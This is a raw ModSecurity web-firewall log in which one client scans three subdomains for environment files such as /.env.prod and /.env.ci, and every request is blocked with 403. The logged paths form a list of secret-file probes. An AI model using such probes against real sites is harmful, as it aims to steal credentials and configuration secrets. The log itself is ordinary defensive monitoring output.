[Sun Oct 25 02:18:51.856630 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fS1TnwNJm6o1fQZIhPQAAAAI"]
[Sun Oct 25 02:18:51.875304 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS1yqe9jgJ5nfJHB7RAAAAAo"]
[Sun Oct 25 02:18:51.875607 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS1yqe9jgJ5nfJHB7RAAAAAo"]
[Sun Oct 25 02:18:51.875932 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS1yqe9jgJ5nfJHB7RAAAAAo"]
[Sun Oct 25 02:18:51.955609 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fS3qPPT_6tJCMTRvt7gAAAAs"]
[Sun Oct 25 02:18:51.955855 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fS3qPPT_6tJCMTRvt7gAAAAs"]
[Sun Oct 25 02:18:51.956198 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fS3qPPT_6tJCMTRvt7gAAAAs"]
[Sun Oct 25 02:18:52.104118 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTFTnwNJm6o1fQZIhPgAAAAI"]
[Sun Oct 25 02:18:52.104427 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTFTnwNJm6o1fQZIhPgAAAAI"]
[Sun Oct 25 02:18:52.104836 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTFTnwNJm6o1fQZIhPgAAAAI"]
[Sun Oct 25 02:18:52.129537 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fTFyqe9jgJ5nfJHB7RQAAAAo"]
[Sun Oct 25 02:18:52.129777 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fTFyqe9jgJ5nfJHB7RQAAAAo"]
[Sun Oct 25 02:18:52.130108 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fTFyqe9jgJ5nfJHB7RQAAAAo"]
[Sun Oct 25 02:18:52.176702 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTHqPPT_6tJCMTRvt7wAAAAs"]
[Sun Oct 25 02:18:52.176999 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTHqPPT_6tJCMTRvt7wAAAAs"]
[Sun Oct 25 02:18:52.177384 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTHqPPT_6tJCMTRvt7wAAAAs"]
[Sun Oct 25 02:18:52.451271 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fTFyqe9jgJ5nfJHB7RgAAAAo"]
[Sun Oct 25 02:18:52.451692 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fTFyqe9jgJ5nfJHB7RgAAAAo"]
[Sun Oct 25 02:18:52.452006 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fTFyqe9jgJ5nfJHB7RgAAAAo"]
[Sun Oct 25 02:18:52.453337 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTHqPPT_6tJCMTRvt8AAAAAs"]
[Sun Oct 25 02:18:52.453496 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTHqPPT_6tJCMTRvt8AAAAAs"]
[Sun Oct 25 02:18:52.453736 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTHqPPT_6tJCMTRvt8AAAAAs"]
[Sun Oct 25 02:18:52.459333 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTFTnwNJm6o1fQZIhPwAAAAI"]
[Sun Oct 25 02:18:52.459500 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTFTnwNJm6o1fQZIhPwAAAAI"]
[Sun Oct 25 02:18:52.459771 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTFTnwNJm6o1fQZIhPwAAAAI"]
[Sun Oct 25 02:18:52.677077 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTFTnwNJm6o1fQZIhQAAAAAI"]
[Sun Oct 25 02:18:52.677449 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTFTnwNJm6o1fQZIhQAAAAAI"]
[Sun Oct 25 02:18:52.677765 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTFTnwNJm6o1fQZIhQAAAAAI"]
[Sun Oct 25 02:18:52.683010 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTFyqe9jgJ5nfJHB7RwAAAAo"]
[Sun Oct 25 02:18:52.683165 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTFyqe9jgJ5nfJHB7RwAAAAo"]
[Sun Oct 25 02:18:52.683454 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at2fTFyqe9jgJ5nfJHB7RwAAAAo"]
[Sun Oct 25 02:18:52.739720 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTHqPPT_6tJCMTRvt8QAAAAs"]
[Sun Oct 25 02:18:52.740007 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTHqPPT_6tJCMTRvt8QAAAAs"]
[Sun Oct 25 02:18:52.740299 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTHqPPT_6tJCMTRvt8QAAAAs"]
[Sun Oct 25 02:18:52.918103 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTFTnwNJm6o1fQZIhQQAAAAI"]
[Sun Oct 25 02:18:52.918371 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTFTnwNJm6o1fQZIhQQAAAAI"]
[Sun Oct 25 02:18:52.918759 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTFTnwNJm6o1fQZIhQQAAAAI"]
[Sun Oct 25 02:18:52.919885 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTFyqe9jgJ5nfJHB7SAAAAAo"]
[Sun Oct 25 02:18:52.920031 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTFyqe9jgJ5nfJHB7SAAAAAo"]
